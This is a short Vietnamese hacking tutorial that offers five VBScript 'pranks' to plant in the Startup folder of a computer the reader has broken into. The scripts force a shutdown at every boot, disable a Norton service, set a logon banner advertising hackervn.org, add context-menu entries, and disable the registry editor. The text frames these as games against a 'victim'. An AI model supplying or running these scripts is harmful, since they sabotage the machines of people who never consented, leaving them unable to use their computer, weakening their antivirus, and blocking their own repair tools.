PHA MAY tính

Trang 1

Khi các bạn đột nhập được vào máy người khác, tại sao không đùa với

họ một tí nhỉ ?

Sau đây là một vài trò chơi do tôi nghĩ ra, bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:

1.Trò chơi thứ nhất: không cho victim khởi động máy:

Dim wsh

Set wsh = createobject("wscript.shell")

wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:

Dim wsh

Set wsh= CreateObject( "WScript.Shell")

s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program

Scheduler\Start"

wsh.RegWrite s1,3, "REG_DWORD"

3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:

dim wsh

Set wsh = CreateObject( "WScript.Shell" )

s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"

s2 = "LegalNoticeCaption"

s3 = "LegalNoticeText"

wsh.RegWrite s1+s2, "Hackervn.org"

wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"

4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:

set reg=createobject("WScript.shell")

reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\",""

reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood"

5.Trò chơi 5: trò chơi này đảm bảo cho các trò chơi trên có thể diễn ra

"vui vẻ": disable Registry của victim:

Dim objShell

Set objShell = CreateObject( "WScript.Shell" )

s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\" s2 = "Policies\System\DisableRegistryTools"

objShell.RegWrite s1+s2,1, "REG_DWORD"

Trên đây là 5 trò chơi "khá vui", thật ra còn nhiểu trò chơi khác nũa nhưng

"nguy hiểm" cho victim nên thôi